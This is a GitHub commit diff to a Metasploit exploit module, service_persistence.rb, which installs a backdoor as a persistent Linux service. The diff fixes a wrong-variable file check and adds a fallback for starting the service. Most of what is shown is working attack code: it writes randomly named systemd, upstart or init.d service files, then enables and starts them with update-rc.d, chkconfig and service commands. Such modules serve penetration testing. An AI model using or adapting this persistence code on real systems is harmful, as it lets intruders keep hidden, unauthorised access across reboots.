Skip to content

Commit 361cc2d

Browse files
committed
fix newline issue and service call
1 parent f98b40d commit 361cc2d

File tree

1 file changed

+20
-12
lines changed

1 file changed

+20
-12
lines changed

modules/exploits/linux/local/service_persistence.rb

Lines changed: 20 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -147,9 +147,10 @@ def systemd(backdoor_path, backdoor_file)
147147
WantedBy=multi-user.target}
148148

149149
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
150-
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
151-
write_file("/lib/systemd/system/#{service_filename}.service", script)
152-
if !file_exist?(backdoor)
150+
service_name = "/lib/systemd/system/#{service_filename}.service"
151+
vprint_status("Writing service: #{service_name}")
152+
write_file(service_name, script)
153+
if !file_exist?(service_name)
153154
print_error('File not written, check permissions.')
154155
return
155156
end
@@ -174,9 +175,10 @@ def upstart(backdoor_path, backdoor_file, runlevel)
174175
respawn limit unlimited}
175176

176177
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
177-
vprint_status("Writing service: /etc/init/#{service_filename}.conf")
178-
write_file("/etc/init/#{service_filename}.conf", script)
179-
if !file_exist?(backdoor)
178+
service_name = "/etc/init/#{service_filename}.conf"
179+
vprint_status("Writing service: #{service_name}")
180+
write_file(service_name, script)
181+
if !file_exist?(service_name)
180182
print_error('File not written, check permissions.')
181183
return
182184
end
@@ -219,7 +221,8 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
219221
echo \"Already started\"
220222
else
221223
echo \"Starting $name\"
222-
cd \"$dir\"}
224+
cd \"$dir\"
225+
}
223226

224227
if has_updatercd
225228
script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
@@ -283,18 +286,23 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
283286
exit 0}
284287

285288
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
286-
vprint_status("Writing service: /etc/init.d/#{service_filename}")
287-
write_file("/etc/init.d/#{service_filename}", script)
288-
if !file_exist?(backdoor)
289+
service_name = "/etc/init.d/#{service_filename}"
290+
vprint_status("Writing service: #{service_name}")
291+
write_file(service_name, script)
292+
if !file_exist?(service_name)
289293
print_error('File not written, check permissions.')
290294
return
291295
end
292-
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")
296+
cmd_exec("chmod 755 #{service_name}")
293297
vprint_status('Enabling & starting our service')
294298
if has_updatercd
295299
cmd_exec("update-rc.d #{service_filename} defaults")
296300
cmd_exec("update-rc.d #{service_filename} enable")
297-
cmd_exec("service #{service_filename} start")
301+
if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
302+
cmd_exec("service #{service_filename} start")
303+
else
304+
cmd_exec("/etc/init.d/#{service_filename} start")
305+
end
298306
else # CentOS
299307
cmd_exec("chkconfig --add #{service_filename}")
300308
cmd_exec("chkconfig #{service_filename} on")

0 commit comments

Comments
 (0)